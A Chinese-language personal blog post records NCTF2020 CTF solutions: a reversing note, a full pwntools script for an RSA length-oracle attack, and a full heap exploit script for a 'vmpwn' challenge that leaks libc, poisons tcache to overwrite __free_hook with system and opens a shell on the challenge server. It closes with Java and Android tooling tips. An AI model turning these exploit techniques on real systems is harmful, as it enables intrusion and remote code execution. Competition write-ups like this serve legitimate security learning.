2020-11-23Record

Author Avatar
Xzhah 11月 23, 2020
  • 在其它设备中阅读本文章

Record

记录一下最近做的事

NCTF2020

Re4

就是一个代码镂空,这个题的主要麻烦的地方是对提取出来的exe文件的修复。可以看到,解密后提取出来的exe如下。

这个是修了一部分的,可以看到010都不能正确识别各section。因为他中间有很多没用的0,具体原因参考https://blog.csdn.net/u013043103/article/details/108325949。所以从400h开始.text段,然后后面都根据各section来删除0。

修好后如下:

然后就是一个简单的rc4和异或。

Oracle

和TWCTF里面一个密码学其中一个考点很像,攻击点在于知道你提供的明文解密后长度是否为128字节,那么构造enc*(2*1016+2\*i-1) ,i是明文最高bit位,从MSB开始泄露。每次判断解密后是否是128字节就能知道该i位是1还是0。从而得到明文。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
from Crypto.Util.number import long_to_bytes, GCD
from Crypto.Cipher import AES
import random
r=remote('42.192.180.50',30001)
e=r.recvuntil('\n')
n=r.recvuntil('\n')
c=r.recvuntil('\n')
print e,n,c
enc = int(c[:-1], 10)
rsa_e=int(e[:-1], 10)
N=int(n[:-1], 10)
print rsa_e,N,enc
# Check whether the length is 128 bytes, or not.
def decrypt(t):
r.recvuntil('> ')
#print(t)
r.sendline(t)
l = r.recvuntil('\n')
return l.startswith('F')
recovered = 0
two_1016 = 2 ** 1016
for i in xrange(1000, -1, -1):
threshold = recovered + 2 ** i
tmp = (two_1016 + threshold - 1) // threshold
#print(tmp * (threshold - 1) < two_1016)
assert tmp * (threshold - 1) < two_1016, "Failed"
val = (enc * pow(tmp, rsa_e, N) )% N
res = decrypt(str(val))
print res
if (res):
recovered += 2 ** i
m = recovered
print('message', m)

vmpwn

思路:

泄露:由于pop动作里判断条件写反了,判断条件应为:ebp>=curstack,所以可以无限去写堆地址以外的地方。首先不断malloc,free。当已经free了0x440(0xf8,0xe8,0xd8…)大小的chunk后,然后垫一个0x28的chunk在下面(为了过free的检查,free的时候检查后一个chunk的size是不是正常值),此时申请0xf8大小,得到最上面的chunk,然后指针移上去把他的size改为0x441,此时free,chunk进入unsorted bin,然后在申请0x38。从unsorted bin里分割一块,这样fd和bk就是libc地址了,完成泄露。

利用:tcache attack。和fastbin attack一样。把fd改为free_hook-8,下次再分配,stackbp=’/bin/sh’,然后继续push,free_hook为systemaddr。需要注意的是,free_hook前面的0x38应该再分配出来,然后改他的size,free掉(仍然注意要垫合适的chunk size)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
#coding=utf-8
from pwn import *
'''00 push
01 pop
02 nop
03 *sp++
04 *sp--
05 read/write *bp
06 new stack
07 free stack
08 ret'''
# context.log_level = "debug"
context.binary = "./pwn"
context.terminal = ["tmux", "splitw", "-h", "-p", "70"]
# io = process("./pwn")
# libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")

# io = process("./pwn", env={"LD_PRELOAD":"./libc-2.27.so"})
io = remote("42.192.180.50", 25005)
libc = ELF("./libc-2.27.so")

gdb_script = '''
b *$rebase(0x115F)
'''


def debug():
gdb.attach(io, gdb_script)


def execute(content):
io.recvuntil(":\n")
io.send(content)

ins = ""
ins += p8(6) + p8(0xf8) #malloc(0xf8)
ins += p8(7) #free()
ins += p8(6) + p8(0xe8) #malloc(0xe8)
ins += p8(7) #free()
ins += p8(6) + p8(0xd8) #malloc(0xd8)
ins += p8(7) #free()
ins += p8(6) + p8(0xb8) #malloc(0xb8)
ins += p8(7) #free()
ins += p8(6) + p8(0xa8) #malloc(0xa8)
ins += p8(7) #free()

ins += p8(6) + p8(0x18) #malloc(0x18)
ins += p8(7) #free()

ins += p8(6) + p8(0xf8) #malloc(0xf8)
ins += p8(1) + p8(0x40)
ins += p8(0) + p8(0x30) + p32(0x441)

ins += p8(7) #free()

ins += p8(6) + p8(0x28) #malloc(0x28)
ins += p8(5) + p8(2) #write()
ins += p8(7) #free()
ins += p8(8) #end


print(hex(len(ins)))

execute(ins)
libc_addr = u64(io.recv(6).ljust(8, "\x00")) - 0x3ec0a0
print "libc addr: " + hex(libc_addr)

free_hook = libc_addr + libc.symbols["__free_hook"] - 8
system_addr = libc_addr + libc.symbols["system"]


# debug()

ins = ""
ins += p8(6) + p8(0x38) #malloc(0x38)
ins += p8(7) #free()
ins += p8(6) + p8(0x48) #malloc(0x48)
for i in range(8):
ins += p8(1) + p8(0x40)
ins += p8(0) + p8(0x40) + p64(free_hook)

ins += p8(7) #free()
ins += p8(6) + p8(0x38) #malloc(0x38)

ins += p8(1) + p8(0x40)
ins += p8(0) + p8(0x40) + p64(0x91)
ins += p8(7) #free()

ins += p8(6) + p8(0x38) #malloc(0x38)

ins += p8(0) + p8(0x40) + "/bin/sh\x00"
ins += p8(0) + p8(0x40) + p64(system_addr)

ins += p8(7)

ins += p8(8) #end

print(hex(len(ins)))

execute(ins)



io.interactive()

CTF以外

主要是项目方面的收获,因为java和android我都是零基础,所以有必要记录一下。

1.IDEA打包jar包流程,不注意的话可能还是有问题,参照下面链接,比如(MF文件尽量放外面,比如项目最外面)。

https://blog.csdn.net/weixin_42089175/article/details/89113271

2.如下报错解决办法

java.lang.SecurityException: Invalid signature file digest for Manifest main attributes

jar包的META-INF下有一些SF,RSA文件要删掉

zip -d your.jar ‘META-INF/.SF’ ‘META-INF/.RSA’ ‘META-INF/*SF’

3.安卓调试

smalidea插件的安装。在as较高版本中好像没用,详情参考如下:

https://blog.csdn.net/binbin594738977/article/details/106571844

总的来说就是4.0默认的smali support插件来识别smali,导致轮不到smalidea。把file types改了就好了。

4.还有一些flowdroid,soot的经验,攒着后面单独发一个把。